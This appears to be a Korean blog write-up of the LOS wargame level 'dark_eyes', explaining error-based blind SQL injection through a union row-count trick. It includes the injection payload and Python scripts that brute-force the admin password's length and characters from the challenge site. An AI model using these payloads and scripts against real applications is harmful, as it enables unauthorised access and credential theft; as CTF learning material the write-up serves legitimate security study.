본문 바로가기
워게임/LOS

dark_eyes(error based sqli 심화)

by meanjung 2021. 10. 5.

이번엔 if도 같이 필터링 됐다.


select 1 union select 1 -> 1(row 1개)

select 1 union select 2 -> 1,2(row 2개)

 

이 개념을 이용해서 쿼리를 작성할 수 있을까...


비밀번호 길이 구하기

?pw=' or id='admin' and (select(length(pw)=16) union select 1)%23

 

만약 admin의 pw 길이가 16이면 앞절에서 1반환. union해서 1개 row 반환하므로 오류 안난다.

그런데 만약 pw길이가 다르다면 오류가 나서 아무것도 안나온다.

import requests
i=0
cookies = {"PHPSESSID":""}
while True:
    url = f"https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=' or id='admin' and (select(length(pw)={i}) union select 1)%23"
    res = requests.get(url, cookies=cookies)
    print(url)
    if "query" in res.text:
        print('length:',i)
        break
    i+=1

output> length: 8


비밀번호 구하기

import requests

cookies = {"PHPSESSID":""}

passwd=""
for i in range(1, 9):
    for c in range(33, 123):
        url = f"https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=' or id='admin' and (select(substr(pw,{i},1)=char({c})) union select 1)%23"
        res = requests.get(url, cookies=cookies)
        if "query" in res.text:
            passwd+=chr(c)
            print(passwd)
            break

output> 5A2F5D3C

 

'워게임 > LOS' 카테고리의 다른 글

evil_wizard  (0) 2021.10.06
hell fire(order by)  (0) 2021.10.05
iron_golem(참 거짓을 판별할 수 없는 blind sqli)  (0) 2021.10.05
dragon  (0) 2021.10.04
[**] xavis  (0) 2021.10.04

댓글